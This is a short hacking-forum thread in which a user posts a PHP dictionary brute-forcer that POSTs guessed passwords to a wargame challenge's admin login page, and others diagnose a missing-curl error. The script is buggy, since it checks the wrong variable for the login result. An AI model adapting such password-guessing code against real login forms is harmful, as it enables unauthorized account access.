| Author |
For those who know php |
bl4ckc4t
Member
Posts: 591
Location: /etc/
Joined: 07.03.06 Rank: HBH Guru |
|
Ok, I have a nice lil bruteforcer in php, but im getting an error -
Fatal error: Call to undefined function curl_init() in /hd2/djcsites/i love hbh. keep up the good work!.com/thethreecats/bruteforcer.php on line 6
What can I do to fix it?
and yes, I did look at other people's codes and got the ideas from other people's source.
here is my code:
<html>
<body>
<?php
$fh = fopen("dic.txt", "r");
while(!feof($fh)) {
$curl = curl_init();
$pass = fgets($fh,1024);
$data = fread($fh, filesize('dic.txt'));
curl_setopt($curl,
CURLOPT_URL,"http://hellboundhackers.org/challenges/real8/admin.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,
"Uname=admin&Pword=$pass&Submit=True");
curl_exec ($curl);
curl_close ($curl);
$result = eregi("Incorrect", $data);
if ( $result == 0 ) {
echo "$pass is the password!";
break;
fclose($fh);
}
}
?>
<p /> Again!
</body>
</html>
|
|
| Author |
RE: For those who know php |
dj-bri-t
Member

Posts: 18
Location: The 'Peg, Manitoba, Canada
Joined: 11.07.05 Rank: Wiseman |
|
Well, the error you're getting is that PHP doesn't recognize the function on line 6, curl_init(). The only reason I can think of that occuring is if you're running a version of PHP before 4.0.3, since that's when the function came about. But that's really old...are you running on a commercial server or off of a private home one?
|
|
| Author |
RE: For those who know php |
AldarHawk
The Manager

Posts: 1662
Location: Canada
Joined: 26.01.06 Rank: God |
|
the server you are running that off of does not have curl installed on it. easy as that.
|
|
| Author |
RE: For those who know php |
dj-bri-t
Member

Posts: 18
Location: The 'Peg, Manitoba, Canada
Joined: 11.07.05 Rank: Wiseman |
|
|
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.
*smacks forehead* yeah, I guess that makes sense ...I've never dealt with a server that didn't have CURL on it, so I never realized that it wasn't built in. Just goes to show how much I know... 
From PHP.NET...
Requirements
In order to use PHP's CURL functions you need to install the libcurl package. PHP requires that you use libcurl 7.0.2-beta or higher. In PHP 4.2.3, you will need libcurl version 7.9.0 or higher. From PHP 4.3.0, you will need a libcurl version that's 7.9.8 or higher. PHP 5.0.0 requires a libcurl version 7.10.5 or greater.
|
|
| Author |
RE: For those who know php |
thousandtoone
Member
Posts: 274
Location: chown thousandtoone /
Joined: 16.04.05 Rank: Monster |
|
If you need hosting with any specific PHP modules, drop me a PM. We can discuss rates to fit.
rootbound admin. |
|
| Author |
RE: For those who know php |
bl4ckc4t
Member
Posts: 591
Location: /etc/
Joined: 07.03.06 Rank: HBH Guru |
|
|
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.
Logical.
I may just host my own, Currently I have a i love hbh. keep up the good work! site for all my scblockedripts and stuff I use.
|
|
| Author |
RE: For those who know php |
willeH
Banned
Posts: 210
Location:
Joined: 14.10.05 Rank: HBH Guru |
|
Download EasyPHP.
|
|